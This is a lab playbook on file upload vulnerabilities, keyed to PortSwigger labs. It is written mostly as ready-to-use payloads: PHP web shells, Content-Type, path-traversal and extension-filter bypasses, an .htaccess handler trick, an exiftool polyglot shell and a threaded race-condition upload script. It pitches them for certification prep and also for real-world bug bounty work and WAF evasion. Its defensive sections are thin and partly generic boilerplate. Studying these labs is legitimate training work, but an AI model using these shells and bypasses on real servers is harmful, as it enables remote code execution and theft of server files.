File Upload Vulnerabilities — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: RCE via web shell 🟢 APPRENTICE

<?php echo file_get_contents('/home/carlos/secret'); ?>

Upload as shell.php, access at /files/avatars/shell.php.

Lab 2: Content-Type bypass 🟢 APPRENTICE

Change Content-Type: application/x-php to Content-Type: image/jpeg in upload request.

Lab 3: Path traversal 🟡 PRACTITIONER

Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"

Upload to parent directory where PHP execution is enabled.

Lab 4: Extension blacklist bypass 🟡 PRACTITIONER

Try: .php5, .shtml, .phtml, .phar. Or upload .htaccess first:

AddType application/x-httpd-php .l33t

Then upload shell.l33t.

Lab 5: Obfuscated extension 🟡 PRACTITIONER

shell.php%00.jpg (null byte), shell.php. (trailing dot), shell.p." . "hp (broken validators).

Lab 6: Polyglot web shell 🟡 PRACTITIONER

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" photo.jpg -o polyglot.php

Valid JPEG + executable PHP.

Lab 7: Race condition upload 🔴 EXPERT

Upload PHP file → server validates → deletes if invalid. Race: access file BEFORE deletion:

import threading, requests
def upload(): requests.post(URL, files={'avatar': ('shell.php', '<?php echo file_get_contents("/home/carlos/secret"); ?>')})
def read(): r = requests.get(FILE_URL); print(r.text)
for _ in range(100): threading.Thread(target=upload).start(); threading.Thread(target=read).start()

---

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks